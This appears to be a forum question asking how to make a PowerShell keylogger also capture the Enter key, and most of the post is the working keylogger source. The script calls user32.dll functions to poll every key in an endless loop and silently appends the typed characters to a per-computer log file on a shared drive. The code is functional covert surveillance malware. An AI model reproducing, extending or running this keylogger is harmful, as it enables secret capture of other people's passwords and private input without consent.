Adding [ENTER] key into power shell key logger - powershell

Question

Can any one help me make this key logger recognize someone pressing the (ENTER) key?
Her is the code
function KeyLog {
$virtualkc_sig = #'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
'#
$kbstate_sig = #'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
'#
$mapchar_sig = #'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
'#
$tounicode_sig = #'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[]lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
'#
$getKeyState = Add-Type -MemberDefinition $virtualkc_sig -name "Win32GetState" -namespace Win32Functions -passThru
$getKBState = Add-Type -MemberDefinition $kbstate_sig -name "Win32MyGetKeyboardState" -namespace Win32Functions -passThru
$getKey = Add-Type -MemberDefinition $mapchar_sig -name "Win32MyMapVirtualKey" -namespace Win32Functions -passThru
$getUnicode = Add-Type -MemberDefinition $tounicode_sig -name "Win32MyToUnicode" -namespace Win32Functions -passThru
while ($true) {
Start-Sleep -Milliseconds 40
$gotit = ""
for ($char = 1; $char -le 254; $char++) {
$vkey = $char
$gotit = $getKeyState::GetAsyncKeyState($vkey)
if ($gotit -eq -32767) {
$l_shift = $getKeyState::GetAsyncKeyState(160)
$r_shift = $getKeyState::GetAsyncKeyState(161)
$caps_lock = [console]::CapsLock
$scancode = $getKey::MapVirtualKey($vkey, $MAPVK_VSC_TO_VK_EX)
$kbstate = New-Object Byte[] 256
$checkkbstate = $getKBState::GetKeyboardState($kbstate)
$mychar = New-Object -TypeName "System.Text.StringBuilder";
$unicode_res = $getUnicode::ToUnicode($vkey, $scancode, $kbstate, $mychar, $mychar.Capacity, 0)
if ($unicode_res -gt 0) {
$logfile = "W:\1B_Classwork\Logs\$env:computername.log"
Out-File -FilePath $logfile -Encoding Unicode -Append -NoNewline -InputObject $mychar.ToString()
}
}
}
}
}
KeyLog